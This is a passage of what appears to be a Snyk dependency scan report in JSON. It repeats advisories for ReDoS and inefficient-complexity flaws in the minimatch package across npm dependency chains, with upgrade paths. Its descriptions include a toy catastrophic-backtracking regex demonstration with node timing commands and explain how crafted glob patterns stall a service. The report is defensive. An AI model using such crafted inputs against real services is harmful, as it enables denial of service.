`D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, 